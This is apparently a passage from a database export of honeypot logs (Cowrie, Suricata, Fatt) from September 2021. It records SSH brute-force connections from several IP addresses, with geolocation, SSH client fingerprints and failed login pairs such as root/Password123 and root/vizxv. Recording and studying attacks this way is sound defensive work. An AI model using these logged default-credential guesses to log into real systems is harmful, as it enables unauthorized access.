25625	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:35.750031+03	2021-09-20 14:15:10.39747+03	{"_id": "yQbmAnwBvYTbRNuEjhs7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/Password123] failed", "session": "ed4a6510588f", "@version": "1", "password": "Password123", "username": "root", "timestamp": "2021-09-20T11:10:35.750031Z", "@timestamp": "2021-09-20T11:10:35.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25626	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:36.469704+03	2021-09-20 14:15:10.39847+03	{"_id": "ygbmAnwBvYTbRNuEjhs7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cfc54c5f0e4f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:36.469704Z", "@timestamp": "2021-09-20T11:10:36.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25627	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:36.737782+03	2021-09-20 14:15:10.399471+03	{"_id": "ywbmAnwBvYTbRNuEkBt5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1801061990713470, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35752, "dest_port": 22, "timestamp": "2021-09-20T11:10:36.737782Z", "@timestamp": "2021-09-20T11:10:36.737Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25628	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:36.810539+03	2021-09-20 14:15:10.40047+03	{"_id": "zwbmAnwBvYTbRNuEkRuP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35752, "dest_port": 22, "timestamp": "2021-09-20T11:10:36.810539", "@timestamp": "2021-09-20T11:10:36.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25629	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:37.79808+03	2021-09-20 14:15:10.40247+03	{"_id": "6wbmAnwBvYTbRNuElRt5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34322, "dest_port": 22, "timestamp": "2021-09-20T11:10:37.798080", "@timestamp": "2021-09-20T11:10:37.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25742	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:10:45.772962+03	2021-09-20 14:15:12.171653+03	{"_id": "bgbmAnwBvYTbRNuEsxyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 13930, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 495211544693602, "@version": "1", "in_iface": "enp5s0", "src_port": 44305, "dest_port": 53, "timestamp": "2021-09-20T11:10:45.772962Z", "@timestamp": "2021-09-20T11:10:45.772Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25630	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:10:37.649122+03	2021-09-20 14:15:10.40347+03	{"_id": "8wbmAnwBvYTbRNuElhsM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [root/vizxv] failed", "session": "f569d9655797", "@version": "1", "password": "vizxv", "username": "root", "timestamp": "2021-09-20T11:10:37.649122Z", "@timestamp": "2021-09-20T11:10:37.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25631	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:38.232272+03	2021-09-20 14:15:10.40547+03	{"_id": "9AbmAnwBvYTbRNuElhsM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [veronica/veronica] failed", "session": "3bbd899cac95", "@version": "1", "password": "veronica", "username": "veronica", "timestamp": "2021-09-20T11:10:38.232272Z", "@timestamp": "2021-09-20T11:10:38.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25632	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:38.734423+03	2021-09-20 14:15:10.40647+03	{"_id": "9wbmAnwBvYTbRNuEmRti", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49292, "timestamp": "2021-09-20T11:10:38.734423", "@timestamp": "2021-09-20T11:10:38.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25633	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:10:39.815792+03	2021-09-20 14:15:10.40747+03	{"_id": "DgbmAnwBvYTbRNuEnBw0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 270853190124671, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58132, "dest_port": 22, "timestamp": "2021-09-20T11:10:39.815792Z", "@timestamp": "2021-09-20T11:10:39.815Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25634	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:39.815952+03	2021-09-20 14:15:10.408471+03	{"_id": "EAbmAnwBvYTbRNuEnRxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58132, "timestamp": "2021-09-20T11:10:39.815952", "@timestamp": "2021-09-20T11:10:39.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25635	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:32.381125+03	2021-09-20 14:15:10.410502+03	{"_id": "cgbmAnwBvYTbRNuEgRvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59992, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.381125", "@timestamp": "2021-09-20T11:10:32.381Z", "t-pot_ip_ext": "109.199.241.180", 